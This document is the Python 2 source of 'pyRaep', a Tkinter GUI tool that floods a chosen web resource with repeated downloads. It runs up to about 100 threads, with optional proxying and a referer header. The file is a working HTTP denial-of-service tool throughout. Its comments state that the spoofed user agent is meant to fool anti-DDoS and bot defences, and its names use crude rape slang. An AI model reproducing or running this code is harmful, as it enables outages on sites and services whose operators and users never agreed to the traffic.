####################################################

################# Import Libraries #################

####################################################



from Tkinter import *

import os
import sys

import threading

import urllib2

from Queue import *

from decimal import *

import math

import time

import socket



####################################################

################### WINDOWS FIX ####################

####################################################


if sys.platform == 'win32':

    win32 = 1 #Set to 1 if you run windows
else:
    win32 = 0



####################################################

################ Default Variables #################

####################################################



spawnerRedundancy = 3 #Number of spawners - makes sure there is no shortage of threads.  Too many may cause problems.

droneQueue = 2 #One more than the number of loops each drone thread should make (more can make better raep, but causes problems closing)



####################################################

################## TKinter Loops ###################

####################################################



root = Tk() #Default window

root.minsize(300,100) #Set main window size

root.maxsize(300,300) #Set main window size



####################################################

################## Thread Classes ##################

####################################################



################ Start/End Threads #################



class cleanUp(threading.Thread):

    def __init__(self):

        threading.Thread.__init__(self)

    def run(self):

        print "> Removing 'stop' file"

        if os.path.exists('stop'): #if stop file exists

            os.unlink('stop') #eliminate stop marker



class selfdestruct(threading.Thread):

    def __init__(self):

        threading.Thread.__init__(self)

    def run(self):

        if win32 != 1:

            import tkMessageBox

            tkMessageBox.showwarning(

                "Shutting Down",

                "Click OK, then wait for termination.  May take a minute, depending on threadcount.  You should see a countdown to zero in the terminal/command prompt\n"

            )

        else:

            print "WARNING!  There is a problem with tkinter on win32!  You may have to close the window manually!"

        print "##Stopping pyRaep"

        print "> Creating 'stop' file"

        stop_obj = open('stop',"w")

        stop_obj.write('stop')

        stop_obj.close()

        print "> Waiting for Drone threads to terminate (may take a while)"

        last = threading.activeCount()-2

        while 1:

            if (threading.activeCount()-2) != last:

                print "> > Threads left to terminate: ", (threading.activeCount()-2)

            if (threading.activeCount() == 2) or ((threading.activeCount() == 3) and win32 == 1): #For cleanup when the only threads left are for the GUI

                print "> > OK, Drone threads terminated."

                print "> Attempt to remove status window"

                warnwin32 = 0 #For shutdown when win32 is the OS

                try:

                    status.destroy()

                    print "> > Status Window removed"

                except:

                    pass #DoS never started

                    print "> > No status window, skipping"

                    if win32 == 1:

                        warnwin32 = 1

                print "> Attempting to remove 'stop' file"

                try:

                    os.unlink('stop')

                    print "> > Stop file removed"

                except:

                    print "> > ERR!  Could not remove stop file, please do it manually"

                print "> Destroying main window"

                if  warnwin32 == 1:

                    print "WARNING!  There is a problem with tkinter on win32!  To exit, you must use the task manager (ctrl+alt+delete, select pythonw)!"

                if win32 != 1:

                    root.destroy()

                else:

                    sys.exit()

                    root.destroy()

            last = threading.activeCount()-2



################# Start the process ################



class initiateit(threading.Thread):

    def __init__(self, resource, referer, maxthreads, proxyaddr):

        #Transfer input variables to self

        self.resource = resource

        self.referer = referer

        self.maxthreads = maxthreads
        self.proxyaddr = proxyaddr

        #Initiate main section of initiateit

        threading.Thread.__init__(self)

    def run(self):

        #Begin spawning threads

        print "##Starting pyRaep"

        print "> Spawning Hive Thread"

        q = Queue(self.maxthreads) #Create queue

        Hive_threads().start() #Start Hive (queue) thread

        Hive(q).start() #Start Hive (queue) thread

        print "> Creating redundant spawners\r\n"

        for i in range(1,spawnerRedundancy):

            spawner(self.resource, self.referer, self.maxthreads, q, self.proxyaddr).start() #Make as many spawners as neccesary



class spawner(threading.Thread):

    def __init__(self, resource, referer, maxthreads, q, proxyaddr):

        #Transfer input variables to self

        self.resource = resource

        self.referer = referer

        self.maxthreads = maxthreads

        self.q = q
        self.proxyaddr = proxyaddr

        #Initiate main section of spawner

        threading.Thread.__init__(self)

    def run(self):

        #Begin spawning threads

        print "> Try spawning threads"

        while not os.path.exists('stop'): #If stop command has not been given

            if threading.activeCount() <= self.maxthreads: #Loop to keep threadcount up

                Drone(self.resource,self.referer,self.q,self.proxyaddr).start() #Spawn Drone thread

            else:

                pass #There are enough threads



################# Monitor Progress ################



class Hive(threading.Thread):

    def __init__(self,q):

        #Transfer input to local variable

        self.q = q

        #Initiate main Hive function

        threading.Thread.__init__(self)

    def run(self):

        #Initiate and Set needed variables

        totaldownload = 0 #Set download amount count to 0

        time_start = time.clock() #Get curent Unix Time (in seconds)

        time_begin = time.clock()

        while not os.path.exists('stop'):

            #Do work

            downloaded = Decimal(self.q.get()) #Get size of most recent download

            tmpdown = Decimal(downloaded)/Decimal(1024)

            elap = Decimal(str(time.clock() - time_start)) #get time since last cycle

            totalelap = Decimal(str(time.clock() - time_begin)) #get time since start

            if elap==0:

                elap = 0.05 #fix or OH SHI- DIVIDED BY ZERO

            speed = round(Decimal(tmpdown/Decimal(str(elap))), 2) #speed since last cycle

            totaldownload += Decimal(downloaded) #Add sizes to get total download size

            avgspeed = round(Decimal((totaldownload/1024)/Decimal(str(totalelap))), 2) #avg speed

            #Create human-readable variables

            show_downloaded = round(((Decimal(totaldownload/Decimal(1024*1024)))),2) #Get total download size in megabytes

            #Update status window

            status_downloads.config(text=show_downloaded) #Update total download amount

            status_download.config(text=speed) #Update download speed

            status_downloada.config(text=avgspeed) #Update download speed

            time_start = time.clock() #get new time



############## Main Worker Treadess ##############



class Drone(threading.Thread):

    def __init__(self,resource,referer,q,httpproxy):

        #Transfer input to local variable

        self.resource = resource

        self.referer = referer

        self.q = q
        self.httpproxy = httpproxy

    #Initiate main Drone function

        threading.Thread.__init__(self)



    def run(self):

        #Create needed variables

        self.count = 0

        #Build request

        socket.setdefaulttimeout(2)
        if self.httpproxy != "--": #If proxy is set
            proxy_support = urllib2.ProxyHandler({"http":"http://" + self.httpproxy}) 
            opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler) 
            urllib2.install_opener(opener)

        request = urllib2.Request(self.resource) #Create initial request

        request.add_header('Referer', self.referer) #Add referer field

        request.addheaders = [('User-agent', 'Mozilla/4.0')] #Fool anti-DDoS/bot software

        #Begin main drone loop

        for i in range(1, droneQueue): #Threads terminate automatically without spawners

            try:

                #Deal with sockets

                sk = urllib2.urlopen(request) #Open request socket

                nulify = sk.read() #Read socket

                raped = len(nulify) #Get length of downloaded data in bytes

                sk.close() #Close socket

                #Deal with Queue

                self.q.put(raped) #Append data to queue

            except:

                pass #Err



####################################################

################### Tkinter Class ##################

####################################################

        

class Hive_Status(Frame):

    def __init__(self, master=None):

        Frame.__init__(self, master)

        self.master.title("Status")

        self.config(background='#000000')

        self.pack()

        self.run()

    def run(self):

        photo = PhotoImage(file='banner.gif')



        ba = Label(self, image=photo, bg="black", borderwidth=0)

        ba.photo = photo

        ba.grid(row=0, column=0, columnspan=2, sticky=W+E+N+S)



        self.status_threads_label = Label(self, text="Threadcount: ", bd=1, relief=SUNKEN, anchor=W, background='#000000', foreground='#9E9E9E')

        self.status_threads_label.grid(row=1, column=0, sticky=EW)



        global status_threads

        status_threads = Label(self, bd=1, relief=SUNKEN, anchor=W, text='---', background='#000000', foreground='#9E9E9E')

        status_threads.grid(row=1, column=1, sticky=EW)



        self.status_downloads_label = Label(self, text="Downloaded: ", bd=1, relief=SUNKEN, anchor=W, background='#000000', foreground='#9E9E9E')

        self.status_downloads_label.grid(row=2, column=0, sticky=EW)



        global status_downloads

        status_downloads = Label(self, bd=1, relief=SUNKEN, anchor=W, text='---', background='#000000', foreground='#9E9E9E')

        status_downloads.grid(row=2, column=1, sticky=EW)



        self.status_download_label = Label(self, text="Speed (kbps): ", bd=1, relief=SUNKEN, anchor=W, background='#000000', foreground='#9E9E9E')

        self.status_download_label.grid(row=3, column=0, sticky=EW)



        global status_download

        status_download = Label(self, bd=1, relief=SUNKEN, anchor=W, text='---', background='#000000', foreground='#9E9E9E')

        status_download.grid(row=3, column=1, sticky=EW)

        

        self.status_downloada_label = Label(self, text="Average Speed (kbps): ", bd=1, relief=SUNKEN, anchor=W, background='#000000', foreground='#9E9E9E')

        self.status_downloada_label.grid(row=4, column=0, sticky=EW)



        global status_downloada

        status_downloada = Label(self, bd=1, relief=SUNKEN, anchor=W, text='---', background='#000000', foreground='#9E9E9E')

        status_downloada.grid(row=4, column=1, sticky=EW)



################## Monitor stuff ###################



class Hive_threads(threading.Thread):

    def __init__(self):

        #Initiate main Hive_threads function

        threading.Thread.__init__(self)

    def run(self):
        time.sleep(5) #Wait until status window is created

        while not os.path.exists('stop'): #While stop command has not been given

            active = threading.activeCount()-3 #Get number of Drone threads
            global status_threads

            status_threads.config(text=active) #Update thread counter


####################################################

################### Tkinter Class ##################

####################################################



class Queen(Frame):

    def __init__(self, master=None):

        Frame.__init__(self, master)

        self.master.title("pyRAEP GUI v1.0 ALPHA")

        self.config(background='#000000')

        self.pack()

        self.run()

    

    def run(self):

        self.master.protocol("WM_DELETE_WINDOW", self.destruct)

        #Build GUI

        photo = PhotoImage(file='banner.gif')



        ba = Label(self, image=photo, bg="black", borderwidth=0)

        ba.photo = photo

        ba.grid(row=0, column=0, columnspan=2, sticky=W+E+N+S)



        self.resource = Label(self, text="Resource:", background='#000000', foreground='#9E9E9E', border=0) #Resource label

        self.resource.grid(row=1, column=0) #Resource label grid location

    

        self.resource_get = Entry(self, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Resource input

        self.resource_get.grid(row=1, column=1) #Resource input grid location

    

        self.referer = Label(self, text="Referer:", background='#000000', foreground='#9E9E9E', border=0) #Referer label

        self.referer.grid(row=2, column=0) #Referer label grid locaton

    



        self.referer_get = Entry(self, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Referer input

        self.referer_get.grid(row=2, column=1) #Referer input grid location

        self.prox = Label(self, text="Proxy:", background='#000000', foreground='#9E9E9E', border=0) #Proxy label

        self.prox.grid(row=3, column=0) #Proxy label grid location

    

        self.prox_get = Entry(self, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Proxy input

        self.prox_get.grid(row=3, column=1) #Proxy input grid location

    

        configi = Frame(self, bg="black", padx=0, pady=0, relief=RIDGE) #Frame to hold thread-count ticker



        self.threads = Scale (configi, orient='horizontal', tickinterval=10, from_=4, to=100, length=300, background='#000000', foreground='#9E9E9E', border=0, relief = RIDGE) #Scale for threadcount

        self.threads.pack(anchor='center', expand='true') #Pack scale in frame

        self.threadslabel = Label(configi, text="Stability <-- --> Strength", background='#000000', foreground='#9E9E9E') #Scale label

        self.threadslabel.pack() #Pack scale label in frame

        configi.grid(row=4, column=0, columnspan=4) #Set grid location of frame

    

        self.Submitst = Button(self, text="Start", command=self.initiate, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Begin button
        self.Submitst.grid(row=5, column=0, sticky=W+E+N+S) #Begin button grid location



        self.Submitsp = Button(self, text="Stop", command=self.destruct, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Begin button

        self.Submitsp.grid(row=5, column=1, sticky=W+E+N+S) #Begin button grid location



    def destruct(self):

        selfdestruct().start() #Start stopping program



    def initiate(self):

        print "Attempting to start\r\n"

        #Function to spawn needed threads

        #Create/Generate variables

        maxthreads = int(self.threads.get())+2 #Find max number of threads

        resource = self.resource_get.get() #Get resource

        referer = self.referer_get.get() #Get referer
        proxyaddr = self.prox_get.get() #Get proxy
        if proxyaddr != "":
            pass #proxy will be used
        else:
            proxyaddr = "--" #Will be used later to indicate ignoring this

        initiateit(resource, referer, maxthreads, proxyaddr).start() #Launch thread to spawn all other threads

        global status #Make status a global variable, for later access

        status = Toplevel() #Make status into a tk window

        status.minsize(300,100) #Set size

        status.maxsize(300,300) #Set size

        Hive_Status(master=status).mainloop() #Start app



#Start everything

cleanUp().start()

app = Queen(master=root)

app.mainloop()

sys.exit()